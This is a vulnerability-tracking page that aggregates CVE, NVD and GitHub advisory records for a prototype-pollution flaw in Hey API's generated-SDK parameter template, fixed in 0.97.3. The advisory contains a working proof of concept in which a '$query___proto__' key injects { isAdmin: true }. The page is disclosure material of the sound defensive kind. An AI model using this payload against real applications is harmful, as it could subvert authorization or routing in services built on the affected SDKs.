Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-48819
PublishedHey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["__proto__"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
- Source published
- 17 Jul 2026 19:46:00 UTC
- Source modified
- 20 Jul 2026 16:24:20 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 4.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
nvd · CVE-2026-48819
PublishedHey API is an ecosystem for turning API specifications into production-ready code. Prior to 0.97.3, dist/clients/core/params.ts ships a runtime template copied into generated SDKs as params.gen.ts, and buildClientParams writes unknown slot-prefixed keys such as $body_, $headers_, $path_, and $query_ directly to the corresponding slot, allowing $query___proto__ alongside a legitimate q field to set params.query through params["query"]["__proto__"] = value, call Object.setPrototypeOf(params.query, value), and expose inherited attacker-controlled keys during for..in iteration. This issue is fixed in version 0.97.3.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-1321
Original publisher date fields
published: 2026-07-17T20:17:21.553
lastModified: 2026-10-24T20:10:00.137
- Source published
- 17 Jul 2026 20:17:21 UTC
- Source modified
- 24 Oct 2026 20:10:00 UTC
- Observed here
- 25 Oct 2026 12:17:32 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 4.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
osv · GHSA-hhx9-57xq-r5rw
Published### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`. ### Details The vulnerable branch in `dist/clients/core/params.ts`: ```typescript const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix)) if (extra) { const [prefix, slot] = extra ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value } ``` This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `"$query___proto__"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith("$query_")` is true, and `key.slice(7)` produces `"__proto__"`. The bracket-write `params["query"]["__proto__"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`. **Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `"$query___proto__"` alongside a legitimate field (e.g. `"q"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller. Concrete field config that hey-api generates for a GET endpoint with one query param `q`: ```typescript // generated by hey-api for: GET /search?q=<string> buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }]) ``` A request `{ q: "hello", "$query___proto__": { isAdmin: true } }` reaches this call with `"q"` going to the field map branch and `"$query___proto__"` falling through to `extraPrefixes`. ### PoC ```bash npm install @hey-api/[email protected] cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts npx tsx poc.ts # or: docker build -t heyapi-poc . && docker run --rm heyapi-poc ``` `poc.ts`: ```typescript import { buildClientParams } from "./params.ts"; // Generated fields config for GET /search?q=<string> const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }]; // Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields ); const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin" ``` Expected output: ``` [CONFIRMED] buildClientParams prototype substitution via $query___proto__ key Scenario: GET /search with fields [{ in:'query', key:'q' }] Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } } result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true} ``` No sentinel key is needed. The legitimate field `"q"` keeps `params.query` alive through `stripEmptySlots`. [reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip) ### Impact The returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected. Global `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers. Every npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.
- Source published
- 1 Jul 2026 20:55:17 UTC
- Source modified
- 10 Sep 2026 03:50:52 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Publisher rating · MODERATE